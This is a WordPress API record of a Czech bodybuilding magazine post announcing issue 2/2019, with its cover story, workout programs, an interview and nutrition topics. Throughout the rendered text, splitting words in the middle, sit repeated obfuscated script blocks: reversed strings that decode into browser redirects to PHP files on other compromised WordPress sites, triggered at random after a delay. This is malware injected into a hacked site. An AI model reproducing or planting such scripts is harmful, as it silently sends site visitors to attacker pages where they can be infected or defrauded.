{"id":52,"date":"2019-03-18T09:21:55","date_gmt":"2019-03-18T09:21:55","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=52"},"modified":"2019-04-29T11:17:35","modified_gmt":"2019-04-29T11:17:35","slug":"svet-kulturistiky-22019","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/03\/18\/svet-kulturistiky-22019\/","title":{"rendered":"Sv\u011bt Kulturistiky 2\/2019"},"content":{"rendered":"<p>Na ob\u00e1lce druh\u00e9ho \u010d\u00edsla se v\u00e1m p\u0159edstav\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec, tren\u00e9r, zp\u011bv\u00e1k a moder\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor <strong>Pavel \u0160alitro\u0161<\/strong>, kter\u00fd tvrd\u00ed, \u017ee \u017eivot je dobrodru\u017estv\u00ed a honba na \u017eivotn\u00edmi sny.<\/p>\n<p>Pro ty z\u00a0v\u00e1s, kter\u00fd bojuj\u00ed s\u00a0\u010dasem, jsme p\u0159ipravili t\u0159i ultra efektivn\u00ed, a p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom velmi svi\u017en\u00e9 tr\u00e9ninkov\u00e9 programy pod titulkem <strong>ODCVI\u010cENO ZA 30 MINUT<\/strong>.<\/p>\n<p>Srde\u010dn\u00e9 pozdravy z\u00a0B\u011bloruska pos\u00edl\u00e1 na stran\u011b 30 IFBB profesion\u00e1l <strong>Alexej \u0160abunja<\/strong>, kter\u00fd se v\u00a0exkluz\u00edvn\u00edm rozhovoru pro n\u00e1\u0161 \u010dasopis sv\u011b\u0159il s\u00a0detailn\u00edm rozpisem sv\u00e9ho j\u00eddeln\u00ed\u010dku.<\/p>\n<p>Druh\u00fdm d\u00edlem pokra\u010duje s\u00e9rie <strong>48 nejlep\u0161\u00edch objemov\u00fdch cvik\u016f<\/strong> coby v\u00fdsti\u017en\u00e1 me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todika proveden\u00ed popul\u00e1rn\u00edch i t\u011bch m\u00e9n\u011b zn\u00e1m\u00fdch posilovac\u00edch cvi\u010den\u00ed.<\/p>\n<p>Na dal\u0161\u00edch str\u00e1nk\u00e1ch se spole\u010dn\u011b zam\u011b\u0159\u00edme na:<\/p>\n<ul>\n<li><strong>Metabolickou adaptaci<\/strong> a d\u016fvod, pro\u010d n\u00e1m komplikuje \u017eivot.<\/li>\n<li>5 v\u011bc\u00ed, kter\u00e9 bychom m\u011bli d\u011blat <strong>po ka\u017ed\u00e9m tr\u00e9ninku<\/strong>.<\/li>\n<li><strong>Stravov\u00e1n\u00ed<\/strong> p\u0159ed aerobn\u00edm tr\u00e9ninkem.<\/li>\n<li><strong>Sacharidy<\/strong> a jejich vliv na budov\u00e1n\u00ed hmoty.<\/li>\n<li><strong>Rostlinn\u00e9<\/strong> zdroje b\u00edlkovin.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Na ob\u00e1lce druh\u00e9ho \u010d\u00edsla se v\u00e1m p\u0159edstav\u00ed sportovec, tren\u00e9r, zp\u011bv\u00e1k a moder\u00e1tor Pavel \u0160alitro\u0161, kter\u00fd tvrd\u00ed, \u017ee \u017eivot je dobrodru\u017estv\u00ed a honba na \u017eivotn\u00edmi sny. Pro ty z\u00a0v\u00e1s, kter\u00fd bojuj\u00ed s\u00a0\u010dasem, jsme p\u0159ipravili t\u0159i ultra efektivn\u00ed, a p\u0159itom velmi svi\u017en\u00e9 tr\u00e9ninkov\u00e9 programy pod titulkem ODCVI\u010cENO ZA 30 MINUT. Srde\u010dn\u00e9 pozdravy z\u00a0B\u011bloruska pos\u00edl\u00e1 na stran\u011b 30 IFBB profesion\u00e1l Alexej \u0160abunja, kter\u00fd se v\u00a0exkluz\u00edvn\u00edm rozhovoru pro n\u00e1\u0161 \u010dasopis sv\u011b\u0159il s\u00a0detailn\u00edm rozpisem sv\u00e9ho j\u00eddeln\u00ed\u010dku. Druh\u00fdm d\u00edlem pokra\u010duje s\u00e9rie 48 nejlep\u0161\u00edch objemov\u00fdch cvik\u016f coby v\u00fdsti\u017en\u00e1 metodika proveden\u00ed popul\u00e1rn\u00edch i t\u011bch m\u00e9n\u011b zn\u00e1m\u00fdch posilovac\u00edch cvi\u010den\u00ed. Na dal\u0161\u00edch str\u00e1nk\u00e1ch se spole\u010dn\u011b zam\u011b\u0159\u00edme na: Metabolickou adaptaci a d\u016fvod, pro\u010d n\u00e1m komplikuje \u017eivot. 5 v\u011bc\u00ed, kter\u00e9 bychom m\u011bli d\u011blat po ka\u017ed\u00e9m tr\u00e9ninku. Stravov\u00e1n\u00ed p\u0159ed aerobn\u00edm tr\u00e9ninkem. Sacharidy a jejich vliv na budov\u00e1n\u00ed hmoty. Rostlinn\u00e9 zdroje b\u00edlkovin.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-52","post","type-post","status-publish","format-standard","hentry","category-archiv"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/52","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=52"}],"version-history":[{"count":4,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/52\/revisions"}],"predecessor-version":[{"id":65,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/52\/revisions\/65"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=52"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=52"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=52"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}